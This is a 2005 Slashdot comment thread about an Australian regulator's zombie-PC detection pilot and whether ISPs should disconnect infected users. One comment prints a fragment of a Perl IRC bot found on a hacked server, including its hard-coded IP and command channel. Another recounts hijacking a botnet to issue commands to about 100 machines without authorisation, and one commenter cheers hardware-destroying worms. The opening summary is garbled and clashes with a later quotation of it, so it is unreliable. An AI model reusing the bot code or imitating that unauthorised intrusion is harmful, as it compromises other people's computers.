msblack writes "Australian news sources are reporting that government officials will begin deploying infected pilots. In a three-month pilot program, the Australian Communications & Media Authority will identify zombie citizens ask their caretakers to submit them or risk being zombified themselves. When will U.S. regulators and military get on board?"

dangerous by Anonymous Coward · 2005-11-07 01:03 · Score: 5, Interesting

and how long will it be before they ask my ISP to disconnect me because I'm running P2P software, making me a dangerous music thief?

slippery slope!

Re:dangerous by Anonymous Coward · 2005-11-07 01:24 · Score: 0

This is more or less precisely why Trusted Computing's "remote attestation" feature, together with the fact that Bush wants all computers on the net to be a part of a "Trusted Network" is so dangerous; an unforgeable hash of all software on your computer coupled with a "distrust" of Free software (induced via Microsoft's deep pockets and lack of ethics) would kill it in a heartbeat.

When will people learn? by Poromenos1 · 2005-11-07 01:04 · Score: 3, Insightful

Seriously, how hard is it not to press the big red "No" button on a dubious site that asks you to install software that tracks the weather/vaccums your carpet/makes coffee? The warning is quite clear on all the browsers, I think, why are people still doing it?

--
Send email from the afterlife! Write your e-will at Dead Man's Switch.

Re:When will people learn? by emamousette · 2005-11-07 01:18 · Score: 1

Because sometimes the clicking the "Big Red No" button means you can't listen to your Sony-purchased CD. [TO be fair, Sony's software didn't zombify PCs, but it opened another door into the soul of innocent PCs through which witch doctor crackers could perform their rituals to turn them into another member of the zombie hordes]

Not everyone is as savvy as we geeks and know the secret of holding down the shift key when inserting a CD.

Oops, did I just say that out loud?
Re:When will people learn? by jdredd · 2005-11-07 01:19 · Score: 4, Insightful

Seriously? It's hard... People don't understand the implications of clicking on the button. They just like the weather bug and other programs. Seriously too... most of that crap isn't going to be installed via a nice popup box that lets you decide. Go look at all the browser security holes, viruses, and worms in the last 3 years that allow for installation of backdoors, SMTP engines, and more. As long as people make money via phishing, selling herbal viagra, and telling you how to lengthen your penis, you will be fighting this crap. It's moved from people doing it for kicks to people doing it for money and identity theft - well, that's for even more money. It doesn't take much money to create a virus or worm. There are plenty of people out there that will do it for a little cash. The window of time between when patches come out and exploits for the hole has shortened drastically over the last couple of years... from months to days. You want a shock? Go run AdAware or Spybot Search & Destroy on your parents' computer. Then make sure to educate them about phishing before your inheritance disappears.
Re:When will people learn? by zanglang · 2005-11-07 01:21 · Score: 1

True, but you'll still be amazed at how much of the general population still don't even realise the dangers of said weather-tracking/carpet-vacuum/coffee making advertisements though. These people are exactly what popupspam companies like to target - because it's just too damn easy.
Re:When will people learn? by Anonymous Coward · 2005-11-07 01:22 · Score: 0

This not an issue about how easy or hard it is to get infected. (it's all relative.)

It's a matter of what you do afterwords to keep the network in good order.

Take cars for example. Can you just tell people to stop running into each other? Go ahead, knock yourself out. In the mean time, I'm going to keep paying my auto insurance and donating to my local fire and rescue.
Re:When will people learn? by mwvdlee · 2005-11-07 01:25 · Score: 2, Funny

Installing our advertisement program will help make us rich. Some people think we shouldn't be rich. These people need to be proven wrong by installing our program. Do you want to stop them too?

Stop?
[No] [Yes]

--
Slashdot social media options: AIM, ICQ, Yahoo, Jabber and Mobile Text. Why no MySpace?
Re:When will people learn? by jellomizer · 2005-11-07 01:27 · Score: 1

Because not choosing the default answer can leave to heartache. When everything on the screen is considered technogarble then just do what the bright young and intelligent programmers want them to do anyways. They figure if you say no your program wont run.

--
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
Re:When will people learn? by Feanturi · 2005-11-07 01:27 · Score: 1

The answer is simple. There is at least one site where they have to say 'Yes': Windowsupdate. There are others too, where if you don't say 'Yes' then you don't get what you came for. That's what makes it hard for them to press the 'No' button. The average computer user is not good with rules that change with different circumstances. If they have to hit 'Yes' when they see the question on one web site, they like to go on autopilot and apply that same rule anywhere else they see it. Otherwise they'd have to stop and think about it, or go find someone to ask. You can tell them, "Always click NO" if you like, but be prepared for the phonecalls where they clicked "No" just like you told them, and now they can't get their (totally benign) news streaming thingamabob or whatever.

Better to string up the site ops that abuse this particular strain of human nature. Hang them by their balls for awhile with a bag of rats tied over their head. Then it'll be better, trust me.
Re:When will people learn? by Anonymous Coward · 2005-11-07 01:50 · Score: 1, Interesting

I've been meaning to write an anti-spyware Internet Exploder patch for a long time now:

It would patch the "You are about to install..." dialog, so instead of saying "Yes" and "No", the buttons would say, "No" and "FUCK No!"
Re:When will people learn? by RAMMS+EIN · 2005-11-07 02:07 · Score: 1

People actively allowing malware to enter their systems isn't even the biggest problem. Have you read the stories about Windows XP machines getting infected within 15 minutes of having received a fresh install? I have, and I have seen it happen in real life, too.

--
Please correct me if I got my facts wrong.
Re:When will people learn? by Anonymous Coward · 2005-11-07 04:56 · Score: 0

Because if you don't say "yes" you won't get to download all those cute smiley face icons for your email.
Re:When will people learn? by PunkOfLinux · 2005-11-07 08:45 · Score: 1

Heavens forbid joe schmoe actually thinks for himself.

--
Show this to your friends and family that don't know what a real hacker is

Such a great headline... by m4dm4n · 2005-11-07 01:04 · Score: 1, Funny

Pilot Target Zombies Yup we're flying these new fangled target zombies around.

--

No France

Re:Such a great headline... by nathan+s · 2005-11-07 04:56 · Score: 1

Completely agree. I still can't quite figure out what they intended to say. "Pilot Zombie Targeting" maybe? I don't know. Such an awful headline.

--
picpix image polls. create - share - vote. fun!

Brainssssssss. by Pond823 · 2005-11-07 01:04 · Score: 0, Redundant

Sorry, couldn't help it.

Yes, but by Anonymous Coward · 2005-11-07 01:04 · Score: 0, Offtopic

Will Uma Thurman star?

USA ISP's by vasqzr · 2005-11-07 01:06 · Score: 4, Informative

In a three-month pilot program, the Australian Communications & Media Authority will identify zombie computers and ask their owners to clean them or risk being disconnected. When will U.S. regulators and ISPs get on board?

Our local cable and DSL providers are always shutting connections off for userse who's computers are virus-ridden. If your PC is acting as an open spam proxy or found to be connecting to zombie-networks, they shut you off, and you have to call to find out why. They recommend a service or software to help clean your PC, and they won't let you back on until you're free of any malware.

It's been like this for...years?

Re:USA ISP's by JoeQuaker · 2005-11-07 01:16 · Score: 1

Yeah it's been the same way as well for at least the past 3 years my local cable internet provider company...
Re:USA ISP's by jackb_guppy · 2005-11-07 01:36 · Score: 1

That is a great ISP, but..

How are they to download the service or software, if the ISP cuts them off?

I am all for closing these pests down, but you have think of the user trying to fix something that now can not be fixed. Maybe isolating them to a micro-net that has one server with the required fixed software loaded. Basicly, ANY webapge they ask for, comes back with a fix it page with a valation link to get them reworked up.
Re:USA ISP's by nomann · 2005-11-07 01:37 · Score: 1

But if they shut you off, how much of a chance do you then have to download malware-scanners, documentation etc? Better to cut of everything but HTTP to a provider-supplied repair kit, IMHO.
Re:USA ISP's by Pig+Hogger · 2005-11-07 02:06 · Score: 0

That is a great ISP, but...
How are they to download the service or software, if the ISP cuts them off?
Though fucking noogies.
The trouble and expense will teach them for the next time.
Re:USA ISP's by spinfire · 2005-11-07 02:38 · Score: 1

At University of New Hampshire you need to register to use the network (you can register as a guest). If your MAC address is detected spreading malware, you'll get the registration screen again, quarantined on a 10.0.0.1. However, you can access virus.unh.edu from there to download the site-licensed McAfee and you can access Windows Update. So, you have minimal, but existant, resources to clean up with.

The tough policy works. The network is mostly malware free. Commercial ISPs need to do the same ASAP after receiving an abuse report.

--
isomerica.net | Foonetic IRC
Re:USA ISP's by Anonymous Coward · 2005-11-07 05:45 · Score: 0

So they only let you access McAfee and Windows Update if your computer is a spam-spewing zombie? What if you're running Linux? (Don't laugh, it happens). Or do they simply ban anyone not running Microsoft Windows (TM)?
Re:USA ISP's by spinfire · 2005-11-07 05:48 · Score: 1

No. If you read my comment you would understand that the restriction is only present before you register your computer's MAC address with the captive portal. Until that point, you can only access certain things. Why would you assume this means no access for non-Windows?

--
isomerica.net | Foonetic IRC
Re:USA ISP's by Salvo · 2005-11-07 08:13 · Score: 1

A few Australian ISPs have been doing this too. Unfortunately, they introduce a Catch-22, you can't download the Removal Software until you connect to the Internet; You can't connect to the Internet until you download the Removal Software.
They call me and say "Daniel, My Computer's Broken." I have a look, take it home, disconnect my Network from the Internet, connect it to my Network *shudder*, install SP1 and SP2, Insall AVG, AdAware and SpySweeper, Return they computer to them.
The next day they call me and say "My MultiFunction Printer/Scanner isn't working." I have a look, get the model number, go home, reconnect my Network to the Internet, search on the Model number and discover that the drivers don't work in Windows XP SP2. The company recommend Downgrading back to SP1 and running it with an Administration Account. I then get another Phone Call; "My Camera isn't working either". I get them to dictate the Model Number over the Phone, ask them for the Model Number, not the Serial Number and do another Search...

I ring them back and tell them that their Printer is now a Pile of Garbage, That they should be using Picasa instead of *insert obscure proprietary Photo Management Suite*, and that if they want me to help them with a computer related problem ever again, they'll have to throw out their POS and go buy a Mac. I also tell them to get AppleCare

12 Months later, just out of Warranty, (They didn't get AppleCare) their iBook fries it's Logic Board...

They won't by keraneuology · 2005-11-07 01:06 · Score: 4, Insightful

When we still have (at least one) state attorney general who believes that spam is protected by the first amendment, government regulators won't get involved. Except possibly during an election year when they might pass a toothless law that does nothing but confuse the confused.

Pure, raw, unadulterated situation: congress doesn't care. The big ISPs don't care. They have had 10 years to address the situation and have refused all along. They are, however, willing to pass laws preventing unsecured wireless access points. Given a choice between lending support to MPAA/RIAA or actually addressing a serious problem, be it hacking, phishing, worms, viral attacks, DDOS attacks or any other legitimate issue.... look at it like this: how quickly have they acted to prevent the zombie issue? How quickly did they act to try and sneak the broadcast flag into law. Again? Or again?

Start writing campaign checks and picking up the tab for "fact finding missions" to Hawaii for a senator or ten... then you might find some interest on the hill.

--
If the g'vt kept the data on you that google does you'd better believe you'd be calling it "doing evil"

Re:They won't by Anonymous Coward · 2005-11-07 13:48 · Score: 0

True enough ... I would go one step further ...

When the ISP's figure out how to make more money 'protecting' their users from spam than they make from the spammers, then they will act, with or without govt. prompting.

However, I'd bet this will follow the 'protection' model used by the RBOC's (regional phone companies in the USA) with regard to telemarketing calls.

First, the ISP sells spammers access to your users (by not filtering spam). The users are then hammered with spam. You then offer the users a 'spam protection' service at the ISP-level for a few $$$ more/month. When enough customers sign up for this to make spammers avoid the ISP, you then turn around and offer the spammers access again, for a few $$$ more than they were paying the last time around. Once again, the users are hammered with spam. Once again, you offer them 'super duper' spam protection for a few $$$ more/month.

Rinse and repeat as needed to keep the corporate balance sheet in order and acceptable to Wall St.

As noted by the parent, neither govt. nor the ISP's care about this issue - it's all about wringing the most $$ from the largest number of people (both users and spammers).

I got excited for a second by illtron · 2005-11-07 01:07 · Score: 5, Funny

I got my hopes up for a second. I though, "Finally! Those fat cats in Canberra are taking some action to prepare for the immanant impending zombie pandemic."

My elation was premature. This is just some lame story about computers sending spam.

Come on people! We need to start stockpiling canned goods, fresh water and shotgun shells now! If we wait until the first reports of infection, it may already be too late!

--
Slashdot: 24 hours behind every other site or your money back!

Re:I got excited for a second by Capt+James+McCarthy · 2005-11-07 01:23 · Score: 2, Interesting

They are actually called "Zombie Evildoers"

--
There are no loopholes. It's either legal or it's not.
Re:I got excited for a second by ozmanjusri · 2005-11-07 01:24 · Score: 2, Insightful

"Finally! Those fat cats in Canberra are taking some action to prepare for the immanant impending zombie pandemic."

They wouldn't have to look far for the source of the infection. Check this guy out;

http://www.aph.gov.au/house/members/member.asp?id= 0J4

He's even got the voice down right...

--
"I've got more toys than Teruhisa Kitahara."
Re:I got excited for a second by tootlemonde · 2005-11-07 02:58 · Score: 2, Funny

If we wait until the first reports of infection, it may already be too late!
Pittsburgh, for one, shares your concern.
Re:I got excited for a second by Kadmos · 2005-11-07 12:53 · Score: 1

Come on people! We need to start stockpiling canned goods, fresh water and shotgun shells now! If we wait until the first reports of infection, it may already be too late!

You must be mad to think that this would ever happen, especially while most famous Zombie (John Howard) is still in office. Most people don't even realise that little John is a Zombie. I must admit though, he does have a good defense. All he has to point out that Zombies like to eat brains therefore he can't be a Zombie because he is always following his pal, George Bush around...

I have a nasty tought... by miscz · 2005-11-07 01:10 · Score: 2, Insightful

It would be cool if ISPs proposed some anti-malware strategies to their customers, maybe send some Linux distro :)

Re:I have a nasty tought... by Anonymous Coward · 2005-11-07 02:41 · Score: 0

I've proposed this with my employer on a number of occassions. Eventually it comes down to 3 things

1) Getting rid of malware isn't our responsibility. If we start giving people ways around it they don't do anything about it. They'd reboot into Windows and their machine would start dossing something on their brand new DSL connection. They don't care cause they'd reboot into Linux and it would just work again.

2) Most users have trouble creating a dialup connection. Teaching them to boot from CD would just plain suck

3) You got a linux distro that supports all those Winmodems out there?

Personally the soltuion I have for people who get sick of this shit is just "get a mac". The ISP I work for is getting more and more mac proficient as the helpdesk has more and more people buying iBooks and iMacs. In terms of n00b usability they're better than Windows (only one mouse button is godsend when teaching people new to computers in general) and 95% of people will say "I get what with my new computer? Sign me up!"

Carte Blanche for ISPs? by badzilla · 2005-11-07 01:10 · Score: 4, Insightful

From TFA: Anthony Wing, manager of the anti-spam team at the ACMA [said] that the application, which took "some months" to build, can identify computers [...] that are being used for "illicit reasons".

I agree botnets are a problem and that my ISP has a right to stop me from being a nuisance to the rest of the internet. But outside of that do I really want my ISP taking broad arbitrary decisions on what I can do with my connection?

--
"Don't belong. Never join. Think for yourself. Peace." V.Stone, Microsoft Corporation

Re:Carte Blanche for ISPs? by Xarius · 2005-11-07 02:25 · Score: 1

Most companies do the same. If you don't like their practices, go elsewhere. If they all work like that, do without. An internet connection, like a car or nice clothes, is a privelege--not a right.

--
C17H21NO4

Echoing previous comments, I hope never by BigTimOBrien · 2005-11-07 01:10 · Score: 2, Interesting

We should be able to find a technical solution to this without having to get the government involved in what amounts to censorship. I'm not saying we don't have a problem, but I am confident that the last thing we want is to have hundreds of additional employees at the FCC regulating traffic on the internet and sending nasty letters to people asking them to conform or be disconnected.

Think about what would happen if the FCC were running around sending letters to people about computers that might be sending traffic they've deemed as disruptive? Couldn't the administrators at the FCC just use that as a pretext to monitor for P2P traffic? No thanks, Big Brother.

--
------ Tim O'Brien

Re:Echoing previous comments, I hope never by excathedra · 2005-11-07 01:30 · Score: 1

It would be nice if our ISPs would take a bigger hand in protecting their users. Handing out anti-malware software is a step, but there is a portion of users who get infected anyway, because of poor surfing habits or ignorance about their own computers. I want my local ISP to inform their clients that they are "infected," at least according to the ISPs definition.
Government regulation? Not the best way to go about solving the problem. Static rules enforced over a wide spectra of communities will create a hassle for innocent users as well as people participating in perfectly legitimate behaviors that just appear to be zombies. No hard and fast rules are necessary, but having ISPs take a hand in protecting their clients would go a long way to improve everyone's security.
Re:Echoing previous comments, I hope never by Anonymous Coward · 2005-11-07 01:50 · Score: 0

How, exactly, is this censorship? Who is being censored? The authors of the worms and trojans? The spammers? Is launching a DDoS attack now protected speech?

The fact is that compromised machines themselves are tools of censorship - they damage machines trying to conduct legitimate business.

The second half of your complaint shows your real fear - that somebody's going to cut off your supply of free music. If this ever does happen, it's tough luck, really. You're not entitled to be entertained for free. Spammers aren't entitled to send their junk, and nobody is entitled to DDoS a site, so if somebody's PC is helping them, it's tough luck if they have their net account disconnected. In any case, this isn't even a proposal to ban P2P.

Headline should read by gtoomey · 2005-11-07 01:10 · Score: 1, Insightful

"AU government to target Microsoft's indifferent security"

Zombies...? by __aaclcg7560 · 2005-11-07 01:12 · Score: 2, Funny

How many zombie movies do we need to point out that the government experimenting on zombies is very dangerous and foolish? Get rid of the zombies with a bullet or whack to the head and be happy.

Comment removed by account_deleted · 2005-11-07 01:12 · Score: 1

Comment removed based on user account deletion

This is foolproof by Dekortage · 2005-11-07 01:13 · Score: 4, Insightful

From the article: "Anthony Wing, manager of the anti-spam team at the ACMA, told ZDNet UK sister site ZDNet Australia that the application, which took "some months" to build, can identify computers physically located in Australia that are being used for "illicit reasons".

"[The application] identifies IP addresses that have been used for illicit reasons -- for example spamming," Wing said. "There are a range of sensors around that world that identify them. Those infected IP addresses are then fed to the relevant ISP. They know who their customers are so that can contact them... if the computer remains a threat to other Internet users, the ISPs may take steps under their acceptable use policy to disconnect the computer until the problem is resolved".

...The ISPs will then be responsible for contacting their customers and helping them disinfect their computers.

This is great, assuming that:

Hackers won't get a copy of this software and find ways of circumventing it.
"Illicit" computer operators aren't spoofing their IP addresses.
ISPs don't abuse the interpretation of the words "threat" or "acceptable use".
The process of "helping" users disinfect computers does not compromise user's privacy.

--
$nice = $webHosting + $domainNames + $sslCerts

Re:This is foolproof by aXis100 · 2005-11-07 01:23 · Score: 1

Umm...

Spam sending zombies cant spoof IP addresses. The TCP based SMTP connection requires two way communciation that isnt possible with a spoofed address.

A DDOS is different however, you can spew out all sorts of invalid and malicious packets.
Re:This is foolproof by KiloByte · 2005-11-07 01:40 · Score: 3, Insightful

Any ISP with a clue will notice that a packet with source address outside of their network simply couldn't originate there. Allowing any spoofed traffic to leave into the world is nothing but incompetence on their part.

--
The creatures outside looked from Alt-Right to Antifa; but already it was impossible to say which was which.
Re:This is foolproof by AK+Marc · 2005-11-07 03:38 · Score: 1

A common misconception is that "IP Spoofing" can be used to hide your IP address while surfing the Internet, chatting on-line, sending e-mail, and so forth.

And for this, you get an Insightful mod? From your own link:
A common misconception is that "IP Spoofing" can be used to hide your IP address while surfing the Internet, chatting on-line, sending e-mail, and so forth.

--
Learn to love Alaska
Re:This is foolproof by Dekortage · 2005-11-07 05:09 · Score: 1

And from my own link: "IP spoofing is almost always used in denial of service attacks (DoS), in which attackers are concerned with consuming bandwidth and resources by flooding the target with as many packets as possible in a short amount of time." And distributed DoS (DDoS) attacks are almost certainly the second most common use of zombie PCs, after spamming.

--
$nice = $webHosting + $domainNames + $sslCerts

Carrot and Stick is the key by putko · 2005-11-07 01:15 · Score: 2, Insightful

If there are the right incentives, the zombie problem will go away.

E.g. if the user somehow feels it is necessary, he'll take care of his machine.

I know of people who know full well their computer will get infected with malware. They do it anyway, because they figure it won't cost them anything. Their ISP won't bug them, nor the phone company, nor anyone they DDOS, etc. They simply don't care.

That's why I want multiple waves of hardware-destroying worms. Worms that ruin your mobo month after month, until people wake up and see that proper administration is good for them too.

Another possible incentive would be to fine ISPs for allowing machines on their netblock to send out spam or do other anti-social things -- but that's going to be less effective, because an ISP can't fix the problem on a user's machine. All it can do is disconnect it, and that just leads to support calsl and whining from the (l)user. Which is why it isn't done (duh!)

--
http://www.thebricktestament.com/the_law/when_to_s tone_your_children/dt21_18a.html

Re:Carrot and Stick is the key by Barny · 2005-11-07 01:28 · Score: 1

Yeah, some good ol' fashioned payloads would be good to see, who can remember the one that would drive your moniters refresh so high it would destroy your moniter? or "flash-upgrade" each and every piece of hardware it could find?

However we won't see any of these anymore, virus writeing is now a proffestion, you do it to make money not to see how many peeps you could piss off.

What is the world comming to ;(

--
...
/me sighs
Re:Carrot and Stick is the key by sqlrob · 2005-11-07 01:29 · Score: 1

Which is why the fine needs to be more than is lost by losing the customer or dealing with his whining.
Re:Carrot and Stick is the key by KiloByte · 2005-11-07 01:34 · Score: 2, Interesting

All it can do is disconnect it, and that just leads to support calsl and whining from the (l)user. ... and to lusers leaving you like a leaky ship. They just _hate_ being educated.

In many cases, you can block the relevant ports. 135, 137-139, 445, 5000 are among those that can be shut without any users even noticing. Blocking 25 would help, but you can't do that unless you're a monopoly. But, there is a trick out here -- count outgoing mails (-p tcp --dport 25 --tcp-flags SYN,ACK,FIN,RST SYN) and enact a block once they reach a certain threshold. At that point, if the user complain, you'll tell the user it's a virus what's breaking their e-mail.
This won't be as nice on the rest of the network as we would wish (as 100 first pieces of spam will get out), but it will provide the user with an incentive to clean up their box. And, if the user uses webmail, they will sleep with their worm silently, without any headaches for you.

And generally, any outage will be blamed on you, not the worms.

--
The creatures outside looked from Alt-Right to Antifa; but already it was impossible to say which was which.
Re:Carrot and Stick is the key by budgenator · 2005-11-07 06:32 · Score: 1

Blocking 25 would help, but you can't do that unless you're a monopoly.
That depends on how you define monoply, if you define it as the only ISP that a user is subscribed to, you can block all you want.
If example.com wants to block port 25 to any computer except mail.example.com it would effect very few users. I would think that off by default would be a good policy for most ports, if I want an unusual port turned on, I'd be happy to explain why and even take a test to demonstrate competency to admin services on that port.

--
Apocalypse Cancelled, Sorry, No Ticket Refunds
Re:Carrot and Stick is the key by misleb · 2005-11-07 07:53 · Score: 1

That's why I want multiple waves of hardware-destroying worms. Worms that ruin your mobo month after month, until people wake up and see that proper administration is good for them too.
A worm that is so destructive wouldn't propagate very easily, now would it?
Another possible incentive would be to fine ISPs for allowing machines on their netblock to send out spam or do other anti-social things -- but that's going to be less effective, because an ISP can't fix the problem on a user's machine. All it can do is disconnect it, and that just leads to support calsl and whining from the (l)user. Which is why it isn't done (duh!)
ISPs shut off infected users all the time. Where have you been? The ISP I worked for would actually contact the user first though and only disconnect if a) the infection was particularlly bad or b) they didn't clean up. The way the ISP was setup, though, was such that one infected user could affect the service of hundreds of others. So there was incentive to keep users computers clean even if it meant annoying that one user.
-matthew -matthew

--
"THERE IS NO JUSTICE, THERE IS ONLY ME." -Death
Re:Carrot and Stick is the key by putko · 2005-11-07 08:18 · Score: 1

"A worm that is so destructive wouldn't propagate very easily, now would it?"

Destructiveness doesn't limit propogation.

Look at AIDS -- quite destructive. It just kills you after you've spread it to your buddies.

Propogation is helped by animals/computers being able to share things like fluids/data with each other. So WWI was good for breeding a nasty flu, because the hosts were all crammed next to each other. Same for fish ponds: fish diseases/parasites do very well.

A computer network where so many computers have fast internet connections is like a fish pond.

Imagine a payload that kills a mobo after the mobo has spread (and confirmed, as best as it can) the payload to 10 other machines is making progress.

That thing will sweep through the vulnerable population, as did the Witty Worm, very quickly.

I want waves and waves of Witty Worms, destroying insecure Windows installations.

--
http://www.thebricktestament.com/the_law/when_to_s tone_your_children/dt21_18a.html
Re:Carrot and Stick is the key by misleb · 2005-11-07 08:32 · Score: 1

I want waves and waves of Witty Worms, destroying insecure Windows installations.

I'm sure the FBI has you on record as say that too. :-P

-matthew

--
"THERE IS NO JUSTICE, THERE IS ONLY ME." -Death
Re:Carrot and Stick is the key by putko · 2005-11-07 08:57 · Score: 1

Zombies attack my machine (and everybody else's) on a daily basis. If those things get fried, by whatever means, I'll be very happy. They have it coming to them.

If it was Linux or OpenBSD zombies, I'd want them to get fried too.

--
http://www.thebricktestament.com/the_law/when_to_s tone_your_children/dt21_18a.html

Censorship? by Zontar+The+Mindless · 2005-11-07 01:20 · Score: 4, Insightful

I think not. Free speech does not include the right to shout "Fire!" in a crowded theatre, and free use of the Internet does not include the right to allow your machines to stuff it up for the rest of us.

As a Telstra customer who saw his cable connection slow to about 1/100th of its normal speed thanks to the DNS attacks of a few months ago, I'm glad to see someone doing something about the problem.

--
Il n'y a pas de Planet B.

Re:Censorship? by lucas+teh+geek · 2005-11-07 01:56 · Score: 0, Offtopic

a /.er on tesltra? and a lowish id one at that! what is the world coming to?

--
TIAEAE!
Re:Censorship? by jackb_guppy · 2005-11-07 01:59 · Score: 1

Actually Free Speech can be viewed as a Cost issue.

1) If I stand a street corner yelling "The end is near.". I am under free speech, becuase the cost of the listener is 0.

2) If I call you up and said "The end is near.". I am costing you a little of your fixed cost of a phone line.

3) If I fax you and wrote "The end is near.". I am costing you a little fixed cost of the phone line, AND the cost of paper & toner, plus some life of your machine.

In all cases above the message is one directional, I am not expect any money in return. Case 3) is closest to an Email and it is the one that is point that Free Speech is no longer Free to Listern. The Listern has to pay for paper & toner and machine costs (mechinal wear and tear).

But note, once the speech become commerical, ie there is an expectation for a return on the investment, then it is no longer free speech, if the cost to listen, in turning it down is more than 0.

This is why case 2) and 3) are now regulated for commerical speech.
Re:Censorship? by RexRhino · 2005-11-07 04:55 · Score: 1

It isn't nessicarily censorship, but it can be censorship, and probably will be censorship!

Who is overseeing and investigating the government black-list of Internet users? What recourse will a person have if there has been an "error" in identifying you as a "Zombie"? What techniques does the government use to identify Zombies, and how do we know they won't get a bunch of false positives?

Normally, in a court of law, the government has to prove you guilty beyond any reasonable doubt before they can take sanction against you. There is a clear legal process you can take in order to redress any mistakes or take any greivances with the system. When you are arrested (well, in most countries), it is a requirement that they inform you of your legal rights, and also to provide you with a laywer free of charge if they cannot afford one.

This, however, is a "black-list"... the government decides to shut you down, and you are shut down, end of story. What is to stop them from adding certain people it dislikes politically from the "black-list"? What happens if your legit activity appears "zombielike", and you are constantly being shut down and can no longer carry out your legit activity? Are they going to pay for a lawyer so you can defend yourself? Is there a list of garanteed rights you have?

Seriously, the whole system depends on the government being 100% error free, and 100% uncorrupt. Anything less than that, and there is serious civil liberty problems. Are Zombie machines so dangerous, that we are willing to eliminate the legal protections and procedure that we demand for murderers, terrorists, child molestors, etc? Why does everyone think that the solution to every problem is "give more power and control to the government"?
Re:Censorship? by Zontar+The+Mindless · 2005-11-07 13:58 · Score: 1

I would mod parent Insighful had I not already posted to this story. Rex raises some valid concerns, and I forget that I no longer live in a country which has a secret "no-fly" list.

However, I'd like to point out a couple of things:

"Innocent until proven guilty" - When you're driving and speeding or operating recklessly, the police do have a right so stop you, cite you, make you stop driving, and even take you in. If you're operating in a fashion which they deem is illegal and/or unsafe, they're allowed to take action which you can then contest in court.

"...Government being 100% error free/100% uncorrupt" - Um, sorry, no human-created system is either of these. Which is why most governments have checks and balances (most notably redress through the courts).

We're not talking about putting people in prison here, just possibly causing them some inconvenience until they've addressed the issue.

I do agree, however, that there should be some publically-accountable oversight and means of redress in the event of stuff-ups.

(BTW, in the neighbourhood where I live, my Internet choices are: 1. dialup; 2. ISDN; and 3. Telstra cable. I work remotely and dialup doesn't do it for my job. ISDN sucks arse. Which leaves #3, I'm afraid. However, I've mostly been quite pleased with Telstra's service, I don't really need to run my own mail server, and - thanks to dyndns.org - having a non-fixed IP address is not a problem.)

--
Il n'y a pas de Planet B.

Why don't they target IRCops? by t0qer · 2005-11-07 01:34 · Score: 5, Interesting

I'm a broke geek. I host my website on a machine on a machine in my house. Last few weeks i've caught my machine being used for zombie purposes. Attack vector was a vulerability in phpnuke.

Let me explain "why I use that holy peice of shit"

The website has a decent sized community. It's also going to be a pain in the butt transferring to something else (i'm thinking vbulletin) and i've never had a problem before the recent round of nuke upgrades. 3 according to the advisories the only patch is to get off phpnuke (again, wonderful)

So today the website freezes up again. Thanks to the fact that i'm dot com broke now I basically sit here all day updating my forums, reading other forums, getting up ocassionally to warm up a microwave burrito and wait for the day Bill Gates makes all of us former window admins disapear to redmond in the great microsoft rapture of 2006.

Ok.. SSH into the machine. Same as before, same exploit.

poo:~# ls /tmp -al
total 20
drwxrwxrwt 5 root root 4096 Nov 6 14:55 .
drwxr-xr-x 22 root root 4096 Sep 16 14:38 ..
drwxrwxrwt 2 www www 4096 Nov 6 09:40 r0nin
drwxrwxrwt 2 root root 4096 Nov 6 09:40 bot.txt
drwxr-xr-x 2 root root 4096 Nov 6 10:00 enviar.pl

Oh you sons of bitches, you done gone fucked with an admin with nothing better to do than to track you down. I firewalled off port 80, copied the offending files out of tmp and change permissions. Googling revealed r0nin is some kind of shell server. Since 80 and 22 are the only ports open to this machine, they would run it on 80, crashing my website.

Then I looked at enviar.pl. It was just a stupid email script. Nothing notable.

Finally I looked at bot.txt.

# IRC
my @adms=("bigfirex"); #nick dos administradores
my @canais=("#testebot");
use LWP::Simple;
my $dados=get("http://66.185.162.241/...fusao/nick/in dex.php");
my $nick=$dados; # nick do bot.. c o nick jah estiveh em uso.. vai aparece com um numero radonamico no final
my $ircname = $dados;
chop (my $realname = `uname -n`);
$servidor='irc.igs.ca' unless $servidor; #servidor d irc q vai c usadu c naum for especificado no argumento
my $porta='6667'; #porta do servidor d irc

Ahh here it got interesting. I now had a IRC channel, with a room name. I tried connecting, but my machine was banned from the irc server.

I ended up ssh'ing to a customer account I had running at he.net, and firing up BitchX from there. A few minutes later I was in the chatroom #testebot with our magical master of ceremonies "bigfirex"

I sat there for a while seeing folks pop in and out. I asked the room "could you tell me exactly how you're exploiting my machine and would you please not do it again?" No answer from bigfirex.

I decided to ask an IRCop for help. Surely seeing the evidence (I could have provided him shorewall and apache logs) he would take immidiate action banning this guy from the network.

I did a /who 0 and found an IRC op from IGS.ca Below is a log of the chat I had with him.

[msg(elsif)] hi are you an ircop?
[elsif(jake@admin.igs.ca)] sure
[msg(elsif)] someone on your network hacked my webserver and installed a bot, i tracked them back to here
[msg(elsif)] The bot is being run by a user named .bigfirex. in a channel called #testebot.
[elsif(jake@admin.igs.ca)] sucky. you do know that he.net runs a server on this network, irc.he.net?
[msg(elsif)] actually im just using a shell i have there, the ip for my comprimised machine was banned from this
network
[elsif(jake@admin.igs.ca)] k. I don't know what I can really do for you. I don't know that person and all.
[elsif(jake@admin.igs.ca)] lots of machines are compromised with ircbot trojans that come here in order to get their

Re:Why don't they target IRCops? by ivan+kk · 2005-11-07 02:37 · Score: 5, Interesting

By posting on slashdot, at least the odd geek or two will be sure to send off a few msgs to the ircops.

However, it isn't their job to enforce controls that you deem necessary. We can use the example of bit torrent trackers. The irc server is like a bit torrent tracker. The owner/operator of the tracker is not responsibile for the torrents (in your case irc channels) that use his server/tracker. What's to stop the botnet operator from moving to another network?

This actually happened to me once. One of my friends machines was r00ted, and he asked me to help him out. So what I did was to run lsof, to grab a list of opened files.
I ran strings on some of the binaries I came across, found an irc channel, and joined it. When someone found out that I wasn't supposed to be their, I was kickbanned. I ssh'd to another machine, changed my ident and nick to match their patterns and joined the chan. I also spoke with the admin via pm, to find out what was going on etc.
Turns out it was a couple of malaysian kids, running an irc server on a hacked machine with a carded domain name. They told me how the binary works, that it would only respond to a particular nickname, not requiring a password. I tried to change to that nick, and the services bot banned me.
Connecting again from another IP, I realised services was running on a separate machine, and assuming hacked machines don't have the highest of stabilities, I joined the chan again, and wrote a script to disinfect all of the 100 or so other machines in the channel. So, armed with the knowledge I'd gathered from these kids after befriending them, and promising them several 0day exploits, and a stable shell (to run an irc server), I found out everything I needed to remove the program.
Staying connected this time, the script would wait until the services bot dropped its connection, at which point I changed my nickname, told all 100 machines to edit their crontab, and to kill -9 the program. The malaysian kids came back, utterly disappointed that their efforts were wasted, removed the domain, killed the irc server, and haven't been heard from since (however they may have simply gotten better at what they did).

